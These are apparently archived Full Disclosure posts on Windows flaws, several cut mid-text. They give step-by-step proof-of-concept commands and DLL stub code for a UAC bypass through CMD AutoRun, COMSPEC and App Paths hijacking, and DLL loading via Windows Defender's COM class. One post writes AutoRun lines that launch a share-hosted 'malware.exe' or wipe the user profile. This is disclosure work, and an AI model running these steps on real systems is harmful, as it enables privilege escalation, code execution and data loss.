| because they introduce application compatibility issues.
| [...] even a limited mitigation would still introduce application
| compatibility issues and would not even address all instances of
| the TEMP issue across all third-party drivers (e.g., third-party
| drivers that had hardcoded C:\Windows\Temp, though we don't
| believe that that's the case with this specific driver).

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 68): where compatibility means vulnerability

[Stefan Kanthak]

dwSize = 
ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

if ((dwRVA != 0UL) && (dwSize >= sizeof(IMAGE_EXPORT_DIRECTORY)))
{
dwRVA = ((IMAGE_EXPORT_DIRECTORY *) ((LPBYTE) &__ImageBase + 
dwRVA))->Name;
if (dwRVA != 0UL)
szModule = (LPCSTR) ((LPBYTE) &__ImageBase + dwRVA);
}

return IDOK == MessageBoxExA(HWND_DESKTOP,
 szReason[dwReason],
 szModule,
 dwReason == DLL_PROCESS_ATTACH ? MB_OKCANCEL : 
MB_OK,
 MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
}

__declspec(dllexport)
BOOLEAN WINAPI SystemFunction036(LPVOID Buffer, DWORD Length)
{
return FALSE;
}

__declspec(dllexport)
LONG WINAPI SystemFunction040(LPVOID Buffer, DWORD Length, DWORD Flags)
{
return STATUS_NOT_IMPLEMENTED;
}

__declspec(dllexport)
LONG WINAPI SystemFunction041(LPVOID Buffer, DWORD Length, DWORD Flags)
{
return STATUS_NOT_IMPLEMENTED;
}
#endif // DLL
--- EOF ---


2. Build CRYPTSP.exe and CRYPTBASE.exe with the following command lines:

   CL.exe /Zl /W4 /Ox /GAF /c CRYPTSP.c
   LINK.exe /DYNAMICBASE /ENTRY:MainCRTStartup /NODEFAULTLIB /NXCOMPAT /RELEASE 
/SUBSYSTEM:Console CRYPTSP.obj ADVAPIP.lib
KERNEL32.lib
   CL.exe /Zl /W4 /Ox /GAF /c CRYPTBASE.c
   LINK.exe /DEPENDENTLOADFLAG:0x4000 /DYNAMICBASE /ENTRY:MainCRTStartup 
/NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:CONSOLE
CRYPTBASE.obj ADVAPI32.lib KERNEL32.lib


3. Execute CRYPTSP.exe and CRYPTBASE.exe, then display their exit codes:

   .\CRYPTSP.exe
   ECHO %ERRORLEVEL%
   .\CRYPTBASE.exe
   ECHO %ERRORLEVEL%

   Since C:\Windows\Explorer.exe contains no authenticode signature
   -- its signature is provided in a catalog file -- CRYPTSP.exe returns
   1813 alias ERROR_RESOURCE_TYPE_NOT_FOUND, while CRYPTBASE.exe returns
   0


4. Build CRYPTSP.dll and CRYPTBASE.dll with the following command lines:

   CL.exe /Zl /W4 /Ox /GAF /DDLL /c CRYPTSP.c
   LINK.exe /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup 
/EXPORT:CheckSignatureInFile /NODEFAULTLIB /NXCOMPAT /RELEASE
/SUBSYSTEM:WINDOWS CRYPTSP.obj KERNEL32.lib USER32.lib
   CL.exe /Zl /W4 /Ox /GAF /DDLL /c CRYPTBASE.c
   LINK.exe /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup 
/EXPORT:SystemFunction036 /EXPORT:SystemFunction040
/EXPORT:SystemFunction041 /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:Windows 
CRYPTBASE.obj USER32.lib


5. Repeat step 2, and notice the message boxes displayed from CRYPTSP.dll
   and CRYPTBASE.dll


stay tuned, and far away from vulnerable functions of the Windows API
Stefan Kanthak

Timeline:
~

2020-11-26Vulnerability report sent to vendor

2020-11-26Automated reply

2020-12-03MSRC case 52299 opened

2020-12-14MSRC case 52299 closed:
  "We determined your finding does not meet our bar for immediate
   servicing because KnownDlls is a performance--not 
security--feature."

2020-12-15Report published


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 70): CVE-2014-0315 alias MS14-019 revisited

[Stefan Kanthak]

Hi @ll,

This multi-part post can be read even without a MIME-compliant program!

Back in 2014, I reported a vulnerability in CreateProcess()'s handling of
*.cmd and *.bat files that Microsoft fixed with MS14-019 alias MSKB 299
and assigned CVE-2014-0315: command lines with a batch script as first token
led to the execution of a (rogue) cmd.exe from the CWD (or the search path).

<https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/>
provides some details about the vulnerabilities attack vector.

With that in mind, read the documentation of the command processors START
builtin command <https://msdn.microsoft.com/en-us/library/cc770297.aspx> or
<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/start>

| * When you run a command that contains the string "CMD" as the first token
|   without an extension or path qualifier, "CMD" is replaced with the value
|   of the COMSPEC variable. This prevents users from picking up cmd from
|   the current directory.

This statement is but WRONG: START CMD ... picks a rogue cmd.exe from the CWD!

Demonstration/Proof of concept #1
~

On a default installation of Windows XP or any newer version, start the command
processor CMD.EXE and run the following commands:

CHDIR /D "%TMP%"
COPY "%SystemRoot%\Write.exe" Cmd.exe
SET COMSPEC=
SET PATH=
START CMD /C PAUSE


This weakness is well-known and well-documented: see
<https://cwe.mitre.org/data/definitions/73.html>,
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html>

For some of the well-known attacks see
<https://capec.mitre.org/data/definitions/13.html> and
<https://capec.mitre.org/data/definitions/471.html>


Now continue with the documentation of the command processors FOR builtin
command <https://msdn.microsoft.com/en-us/library/cc754900.aspx> or
<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/for>

| * Parsing output:
|   You can use the for /f command to parse the output of a command by placing
|   a back-quoted  between the parentheses.

Back-quoted is only correct with FOR /F "UseBackQ" % IN (´´) DO 
...
Without "UseBackQ" the command needs to be placed in single quotes!


| It is treated as a command line, which is passed to a child Cmd.exe.

That too is wrong: if COMSPEC is set, its value is used as file/pathname of the
child process; Cmd.exe is used only if COMSPEC is not set!

Demonstration/Proof of concept #2
~

On a default installation of Windows XP or any newer version, start the command
processor CMD.EXE and run the following commands:

SET COMSPEC=%SystemRoot%\System32\Reg.exe
FOR /F %? IN ('SET') DO @ECHO %?

Evaluating COMSPEC inside the command processor or executing the hard-coded
file Cmd.exe is both clumsy and unsafe!
The command processor can and should determine its own module name instead.


For a third bug and vulnerability see the following undocumented and outright
BRAINDEAD behaviour.

Demonstration/Proof of concept #3
~

On a default installation of Windows XP or any newer version, start the command
processor CMD.EXE and run the following commands:

SET COMSPEC=%SystemRoot%\System32\Reg.exe
ASSOC | CALL
ECHO | FTYPE
SET | More.com
...


Why does the command processor execute the EXTERNAL command specified in the
environment variable COMSPEC to run its builtin INTERNAL commands?


stay tuned, and far away from such blunders
Stefan Kanthak

PS: for more quirks see <https://skanthak.homepage.t-online.de/quirks.html>


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 69): security remarks are as futile as the qUACkery!

[Stefan Kanthak]

Hi @ll,

the MSDN article "Security Considerations: Microsoft Windows Shell"
<https://msdn.microsoft.com/en-us/library/bb776776.aspx#shellexecute-shellexecuteex-and-related-functions>
provides since MANY years the following advice for calls of ShellExecute():

| Make sure you provide an unambiguous definition of the application that is to
| be executed.
|
| * When providing the executable file's path, provide the fully qualified path.
|   Do not depend on the Shell to locate the file.


Now peek into the code of C:\Windows\Write.exe and discover the following
surprise:

ShellExecuteW(NULL, NULL, L"wordpad.exe", L"...", NULL, 10);


Continue with the MSDN artice "Application Registration"
<https://msdn.microsoft.com/en-us/library/ee872121.aspx#finding-an-application-executable>:

| When the ShellExecuteEx function is called with the name of an executable file
| in its lpFile parameter, there are several places where the function looks for
| the file. We recommend registering your application in the App Paths registry
| subkey. Doing so avoids the need for applications to modify the system PATH
| environment variable.
|
| The file is sought in the following locations:
| * The current working directory.
| * The Windows directory only (no subdirectories are searched).
| * The Windows\System32 directory.
| * Directories listed in the PATH environment variable.
| * Recommended:
|   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
...
| In Windows 7 and later, we strongly recommend you install applications per
| user rather than per machine. An application that is installed for per user
| can be registered under
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths.


Demonstration:
~~

0. Log on to the "protected" administrator account created during the
   installation of Windows.

1. Execute C:\Windows\write.exe per double-click or via command line:
   this starts WordPad.

2. Add the registry entry

   [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App 
Paths\wordpad.exe]
   @="C:\\Windows\\system32\\cmd.exe"

   for example via the command line

   REG.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App 
Paths\wordpad.exe" /VE /T REG_SZ /D "%COMSPEC%"

3. Repeat step 2: now the command processor starts instead of
   WordPad.

4. Start Windows^WFile Explorer, open the Windows directory, right-
   click on C:\Windows\write.exe to display its context menu, then
   click on the "Run as administrator" entry and acknowledge the
   UAC prompt: on recent versions of Windows this starts WordPad,
   on older versions but the command processor (both of course
   elevated).


See <https://cwe.mitre.org/data/definitions/426.html>
and <https://cwe.mitre.org/data/definitions/427.html>
plus <https://capec.mitre.org/data/definitions/471.html>
for the classification of this well-documented weakness and attack.


The demonstration exploits 2 bugs: the first is the unqualified simple
filename used by Write.exe in the call of ShellExecute(); the second bug
is in ShellExecute(), which evaluates the USER-writable registry key

   [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths]

when running elevated with a split token on older versions of Windows!


stay tuned and for away from software riddled with beginner's errors
Stefan Kanthak


PS: compare the behaviour of ShellExecute() to that of COM, as
documented in <https://msdn.microsoft.com/en-us/library/bb756926.aspx>:

| Beginning with Windows Vista® and Windows Server® 2008, if the integrity
| level of a process is higher than Medium, the COM runtime ignores per-
| user COM configuration and accesses only per-machine COM configuration.
| This action reduces the surface area for elevation of privilege attacks,
| preventing a process with standard user privileges from configuring a
| COM object with arbitrary code and having this code called from an
| elevated process.


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 68): qUACkery is futile!

[Stefan Kanthak]

Hi @ll,

the help text displayed by the command line "%COMSPEC% /?" as well as the
documentation <https://msdn.microsoft.com/en-us/library/cc771320.aspx> of
Windows' command processor CMD.EXE both state:

| * Executing registry subkeys
|
|   If you do not specify /d in String, Cmd.exe looks for the following
|   registry subkeys:
|
|   HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\REG_SZ
|
|   HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun\REG_EXPAND_SZ
|
|   If one or both registry subkeys are present, they are executed before
|   all other variables.
|
|^
|   /!\ Warning
|   ¯¯¯
|   Incorrectly editing the registry may severely damage your system.


Especially this last remark is NOT correct, at least but incomplete:
correctly editing the registry may severely damage your system too!


Demonstration:
~~

0. Log on to the "protected" administrator account created during the
   installation of Windows.

1. Run the following command line to add the AutoRun registry entry:

   REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V 
"AutoRun" /T REG_SZ /D "ECHO HKEY_CURRENT_USER" /F

2. Start the command processor C:\Windows\System32\cmd.exe per double-
   click or via command line %COMSPEC%: it prints the line

   | HKEY_CURRENT_USER

3. Start Windows^WFile Explorer, open the "System" directory, right-
   click on C:\Windows\System32\cmd.exe to display its context menu,
   then click on the "Run as administrator" entry and acknowledge the
   UAC prompt: again it prints the line

   | HKEY_CURRENT_USER

   OUCH: although running elevated now, the command processor eveluates
 a registry entry written by an unprivileged user, thereby
 bypassing the "wonderful" but completely futile security theatre
 known as user account control!

   JFTR: of course nobody uses the "protected" administrator account
 created during Windows setup for their everyday work, and also
 nobody will EVER start an elevated command prompt there?!


Now just consider to run one of the following command lines and imagine
what damage their execution may spark:

REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V 
"AutoRun" /T REG_SZ "\\server\share\malware.exe" /F

REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V 
"AutoRun" /T REG_SZ "ERASE /F /Q /S ""%USERPROFILE%""" /F


stay tuned, and far away from "protected" accounts and split tokens!
Stefan Kanthak


PS: compare this misbehaviour of the command processor to that of COM, as
documented in <https://msdn.microsoft.com/en-us/library/bb756926.aspx>:

| Beginning with Windows Vista® and Windows Server® 2008, if the integrity
| level of a process is higher than Medium, the COM runtime ignores per-
| user COM configuration and accesses only per-machine COM configuration.
| This action reduces the surface area for elevation of privilege attacks,
| preventing a process with standard user privileges from configuring a
| COM object with arbitrary code and having this code called from an
| elevated process.


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 66): attachment manager allows to load arbitrary DLLs

[Stefan Kanthak]

Hi @ll,

this is the continuation of the previous posts
<https://seclists.org/fulldisclosure/2020/Mar/45> and
<https://seclists.org/fulldisclosure/2020/Mar/48>.


(Un)fortunately the IOfficeAntiVirus interface (see
<https://support.microsoft.com/en-us/help/914922/microsoft-windows-defender-helps-provide-real-time-protection>)
has at least another weakness which also allows (unprivileged users) to
load arbitrary DLLs into web browsers, mail/news clients, instant
messengers, file explorer and every other program which calls this COM
 interface.


With Windows 2000, Microsoft introduced the "merged view" of the
[HKEY_CLASSES_ROOT] virtual registry tree: see
<https://msdn.microsoft.com/en-us/library/ms724498.aspx>

"Thanks" to this feature, COM categories/classes/interfaces registered
by (unprivileged) users below [HKEY_CURRENT_USER\Software\Classes]
obscure the corresponding COM categories/classes/interfaces registered
(by administrators) below [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]


Demonstration:
~~

On a 32-bit installation of Windows XP SP2 or any newer version of
Windows perform the following steps (adaption for 64-bit installations
is left as an exercise to the reader):

1. Log on to an arbitrary (unprivileged) user account.

2. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it in an arbitrary directory.

3. Create a text file SENTINEL.REG with the following contents:

--- SENTINEL.REG ---
REGEDIT4

[HKEY_CURRENT_USER\Software\Classes\CLSID\{56FFCC31-D398-11D0-B2AE-00A0C908FA49}]
@="Vulnerability and Exploit Detector"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{56FFCC31-D398-11D0-B2AE-00A0C908FA49}\Implemented
Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}]
@="MSOfficeAntiVirus"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{56FFCC31-D398-11D0-B2AE-00A0C908FA49}\InProcServer32]
@="\\SENTINEL.DLL" ; replace  with the directory used in step 2. 
"ThreadingModel"="Both"

; NOTE: the following entries are optional!

[HKEY_CURRENT_USER\Software\Classes\CLSID\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}\TreatAs]
@="{56FFCC31-D398-11D0-B2AE-00A0C908FA49}"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{56FFCC31-D398-11D0-B2AE-00A0C908FA49}\Interface\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}]
@="IOfficeAntiVirus"

[HKEY_CURRENT_USER\Software\Classes\Interface\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}]
@="IOfficeAntiVirus"

[HKEY_CURRENT_USER\Software\Classes\Interface\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}\BaseInterface]
@="{---C000-0046}" ; IUnknown

[HKEY_CURRENT_USER\Software\Classes\Interface\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}\NumMethods]
@="4"
--- EOF ---

4. Double-click the file SENTINEL.REG to merge it into the user's
   registry.

5. Download an arbitrary file with your web browser, for example
   <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>,
   or save an attachment in your mail client, and notice the
   message boxes displayed from the sentinels.


NOTE: the batch script
  <https://skanthak.homepage.t-online.de/download/MSOAV.CMD>
  performs all these steps on 32-bit and 64-bit installations
  of Windows XP and newer versions of Windows.


Mitigation:
~~~

Use AppLocker or SAFER alias Software Restriction Policies: see
<https://skanthak.homepage.t-online.de/SAFER.html>


stay tuned, and NEVER use Windows without SAFER or AppLocker
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 65): unsafe, easy to rediect paths all over

[Stefan Kanthak]

ive%\Rogue Program Files (x86)\Windows Defender\MpOav.dll":

   COPY /Y "%TEMP%\I386\SENTINEL.DLL" "%SystemDrive%\Rogue Program 
Files\Windows Defender\MpOav.dll"

5.b. On 64-bit installations, copy the 64-bit SENTINEL.DLL over
 "%SystemDrive%\Rogue Program Files\Windows Defender\MpOav.dll"
 and the 32-bit SENTINEL.DLL over
 "%SystemDrive%\Rogue Program Files (x86)\Windows Defender\MpOav.dll":

   COPY /Y "%TEMP%\AMD64\SENTINEL.DLL" "%SystemDrive%\Rogue Program 
Files\Windows Defender\MpOav.dll"
   COPY /Y "%TEMP%\I386\SENTINEL.DLL" "%SystemDrive%\Rogue Program Files 
(x86)\Windows Defender\MpOav.dll"

6. Set the environment variable "ProgramFiles" to the directory
   created in step 1:

   SETX.exe ProgramFiles "%SystemDrive%\Rogue Program Files"

7. On 64-bit installations, additionally set the environment variable
   "ProgramFiles(x86)" to the directory created in step 2:

   SETX.exe ProgramFiles(x86) "%SystemDrive%\Rogue Program Files (x86)"

8. Download an arbitrary file with your web browser, for example
   <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>,
   or save an attachment in your mail client:

   START https://skanthak.homepage.t-online.de/download/SENTINEL.CAB
   "%ProgramFiles%\Internet Explorer\IExplore.exe" 
https://skanthak.homepage.t-online.de/download/SENTINEL.DLL
   "%ProgramFiles(x86)%\Internet Explorer\IExplore.exe" 
https://skanthak.homepage.t-online.de/download/SENTINEL.EXE

   Instead of "C:\Program Files\Windows Defender\MpOav.dll" and
   "C:\Program Files (x86)\Windows Defender\MpOav.dll" this calls
   "%SystemDrive%\Rogue Program Files\Windows Defender\MpOav.dll" and
   "%SystemDrive%\Rogue Program Files (x86)\Windows Defender\MpOav.dll",
   which display message boxes with informations about their caller!


NOTE: the batch script
  <https://skanthak.homepage.t-online.de/download/DEFENDER.CMD>
  performs all these steps on 32-bit and 64-bit installations of
  Windows Vista and newer versions of Windows.


Vendor statement:
~

The MSRC assigned case 57439 to the above report, and replied with the
following statements:

| After investigation, our engineers have determine this this behavior
| is by-design and does not constitute as a vulnerability as reported.

OUCH!
I recommend to teach these "engineers" the difference between a pathname
registered as "%ProgramFiles%\...\." and a pathname
registered as "C:\Program Files\...\."!

HINT: the second variant does NOT allow to load and execute an ARBITRARY
  DLL via an environment variable set by the user!

The observed behaviour is therefore NOT by-design, but due to CARELESS
implementation by CLUELESS developers.

| For an attacker to do as the report indicates, they would already
| need to have gained sufficient control over the victim's system to
| change the ProgramFiles environment variable for the process that
| is instantiating this COM class. This highlights local code execution.
|
| Additionally, our design to get AV to load in a utility process
| greatly reduces the attack surface of this scenario.

OUCH²!
The attack surface is but provided by Windows Defender: its POOR
implementation (see above) allows this attack in the first place.
And there is no utility process started here: the attacker controlled
DLL is loaded and executed ih the processes which want to call AV,
instead of the DLL installed with Windows Defender, preventing exactly
the intended call of the AV's utility process and defeating your design!

| Utility processes are also more restricted than the browser process
| generally so this is another win in addition to the process decoupling.

OUCH³!
There is NO decoupled process involved!
The demonstration runs an arbitrary DLL in the process of a web browser,
a mail/news client, an instant messenger and file explorer, with the
credentials of the current user, UNRESTRICTED.

| As such, we are closing this case.


Mitigation:
~~~

Use AppLocker or SAFER alias Software Restriction Policies: see
<https://skanthak.homepage.t-online.de/SAFER.html>


stay tuned, and far away from Microsoft's UNSAFE products!
Stefan Kanthak


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 64): Windows Defender loads and exeutes arbitrary DLLs

[Stefan Kanthak]

it;
   x64: 64-bit) into your "%TEMP%" directory:

   EXPAND.exe "%TEMP%\SENTINEL.CAB" /F:* "%TEMP%"

4. Display the registered path of MPOAV.dll:

   REG.exe QUERY 
"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}\InprocServer32"
 /VE

| 
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}\InprocServer32
|(Default)REG_EXPAND_SZ"%ProgramData%\Microsoft\Windows 
Defender\platform\4.18.2008.6-0\MpOav.dll"

5. Choose an arbitrary directory where you can create subdirectories,
   for example your user profile "%USERPROFILE%", the root directory
   of your Windows drive "%SystemDrive%", or even a shared directory
   like "%COMPUTERNAME%\PUBLIC", and create the subdirectories
   "Microsoft", "Windows Defender", "Platform" plus "" shown
   in the previous step beyond it:

   MKDIR "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2008.6-0"

6. Copy the SENTINEL.DLL matching the bitness of your system as
   MPOAV.dll into the last directory created in the previous step:

   32-bit (x86)

   COPY "%TEMP%\I386\SENTINEL.DLL" "%SystemDrive%\Microsoft\Windows 
Defender\platform\4.18.2003.8-0\MpOav.dll"

   64-bit (x64)

   COPY "%TEMP%\AMD64\SENTINEL.DLL" "%SystemDrive%\Microsoft\Windows 
Defender\platform\4.18.2003.8-0\MpOav.dll"

7. Verify that you copied the correct DLL and its proper function:

   MSIEXEC.exe /Z "%SystemDrive%\Microsoft\Windows 
Defender\platform\4.18.2003.8-0\MpOav.dll"

8. Set the environment variable "ProgramData" to the directory
   choosen in step 5:

   SETX.exe ProgramData %SystemDrive%

9. Start every web browser available with the same bitness as your
   system, then download an arbitrary file and notice the message box
   displayed by the
   "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2003.8-0\MpOav.dll"
   called from the web browser:

   "%ProgramFiles%\Internet Explorer\IExplore.exe" 
https://skanthak.homepage.t-online.de/download/SENTINEL.EXE
   START https://skanthak.homepage.t-online.de/download/SENTINEL.DLL

10. Start SENTINEL.EXE downloaded in step 1 (which got the "mark of
the web") and notice the message box again, now called from
file explorer:

START "" "%USERPROFILE%\Downloads\SENTINEL.EXE"


Vendor statement:
~

The MSRC assigned case 57439 to the above report, and replied with the
following statements:

| After investigation, our engineers have determine this this behavior
| is by-design and does not constitute as a vulnerability as reported.

OUCH!
I recommend to teach these "engineers" the difference between a pathname
registered as "%ProgramData%\...\." and a pathname
registered as "C:\ProgramData\...\."!

HINT: the second variant does NOT allow to load and execute an ARBITRARY
  DLL via an environment variable set by the user!

The observed behaviour is therefore NOT by-design, but due to CARELESS
implementation by CLUELESS developers.

| For an attacker to do as the report indicates, they would already
| need to have gained sufficient control over the victim's system to
| change the ProgramFiles environment variable for the process that
| is instantiating this COM class. This highlights local code execution.
|
| Additionally, our design to get AV to load in a utility process greatly
| reduces the attack surface of this scenario.

OUCH²!
The attack surface is but provided by Windows Defender: its POOR
implementation (see above) allows this attack in the first place.
And there is no utility process started here: the attacker controlled
DLL is loaded and executed ih the processes which want to call AV,
instead of the DLL installed with Windows Defender, and prevents exactly
the intended call of the AV's utility process and defeats your design!

| Utility processes are also more restricted than the browser process
| generally so this is another win in addition to the process decoupling.

OUCH³!
There is NO decoupled process involved!
The demonstration runs an arbitrary DLL in the process of any web browser,
any mail/news client, any instant messenger and file explorer as well,
credentials of the current user, UNRESTRICTED.

| As such, we are closing this case.


Mitigation:
~~~

Use AppLocker or SAFER alias Software Restriction Policies: see
<https://skanthak.homepage.t-online.de/SAFER.html>


stay tuned, and far away from so-called "security software"
Stefan Kanthak


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 63): program defaults, settings, policies ... and (un)trustworthy computing

[Stefan Kanthak]

 run the following command lines (for example from the batch script
   %SystemRoot%\Setup\Scripts\SetupComplete.cmd) to see the whole mess:

   REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S
   REG.exe QUERY 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S
   REG.exe QUERY 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies /S
   REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies /S

2. For every policy registry entry found check that a corresponding
   setting registry entry is evaluated by the program or component
   which uses the policy registry entry, and whether this setting
   registry entry eventually exists.


stay tuned, and far away from Microsoft's UNTRUSTWORTHY mess!
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Defense in depth -- the Microsoft way (part 62): Windows shipped with end-of-life components

[Stefan Kanthak]

"Dennis E. Hamilton"  wrote:

> One correction: jsc.exe is a JavaScript command line processor.  J# is not
> and must not be shipped in Windows.
> 
> The opinion about the .NET Framework notwithstanding, the presumption that
> these utilities are defective because they were built with older versions of
> Visual C (and its libraries, presumably) does not imply existence of
> defects.

These utilities are just the anchor; the very point is that Microsoft ships
SUPERCEEDED and VULNERABLE versions of the Visual C++ 2005 runtime with
(certain versions) of Windows and other products, against their own
recommendation:

| In the case where a system has no MFC applications currently installed
| but does have the vulnerable Visual Studio or Visual C++ runtimes
| installed, Microsoft recommends that users install this update as a
| defense-in-depth measure, in case of an attack vector being introduced
| or becoming known at a later time.

> I see third-party software that also employ older redistributables,
> some back to 2005.

"Same old sin"!
This does neither justify Microsoft's nor the 3rd parties BAD behaviour,
which puts users/customers at risk!
And the arguement is NOT about "older" components, but either end-of-life
or superceeded components: the former may have unknown or unpublished
vulnerabilities, while the latter have known and published vulnerabilities.

JFTR: the MSVCRT shipped with Windows 7 is in the latter category!

Not only Microsoft repeats the mantra "keep your software up-to-date" over
and over again, but doesn't live it!

> It is an interesting questions why it is expedient to install these
> everywhere, whatever their vintage, just like cmd.exe.  It would be valuable
> to know what the dependencies on these are and for whom is it convenient
> that they are always there.

That's just the icing on the cake.

stay tuned
Stefan

> -Original Message-
> From: Fulldisclosure  On Behalf Of
> Stefan Kanthak
> Sent: Monday, February 24, 2020 09:06
> To: fulldisclosure@seclists.org
> Cc: bugt...@securityfocus.com
> Subject: [FD] Defense in depth -- the Microsoft way (part 62): Windows
> shipped with end-of-life components
> 
> Hi @ll,
> 
> since Microsoft Server 2003 R2, Microsoft dares to ship and install the
> abomination known as .NET Framework with every new version of Windows.
> 
> Among other components current versions of Windows and .NET Framework
> include
> 
> C# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe,
> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe)
> J# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe,
> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\jsc.exe)
> VB# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe,
> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe)
> resource converter
> (C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe,
> 
> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe)
> IL assembler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe,
>  C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe)
> assembly linker (C:\Windows\Microsoft.NET\Framework\v2.0.50727\al.exe)
> 
> Microsoft builds (not just) these programs with Visual C 2005, an
> UNSUPPORTED product that reached its end-of-life on 2016-04-12: see
> <https://support.microsoft.com/en-us/lifecycle/search?alpha=Visual%20C%20200
> 5>
> 
> Of course these programs are linked to the equally UNSUPPORTED Visual C
> 2005 runtime that also reached its end-of-life 2016-04-12, which Microsoft
> but nevertheless still dares to ship as side-by-side component:
> 
> [ ... ]

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 62): Windows shipped with end-of-life components

[Stefan Kanthak]

Hi @ll,

since Microsoft Server 2003 R2, Microsoft dares to ship and install the
abomination known as .NET Framework with every new version of Windows.

Among other components current versions of Windows and .NET Framework
include

C# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe,
 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe)
J# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe,
 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\jsc.exe)
VB# compiler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe,
 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe)
resource converter (C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe,
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe)
IL assembler (C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe,
  C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe)
assembly linker (C:\Windows\Microsoft.NET\Framework\v2.0.50727\al.exe)

Microsoft builds (not just) these programs with Visual C 2005, an
UNSUPPORTED product that reached its end-of-life on 2016-04-12: see
<https://support.microsoft.com/en-us/lifecycle/search?alpha=Visual%20C%202005>

Of course these programs are linked to the equally UNSUPPORTED Visual C
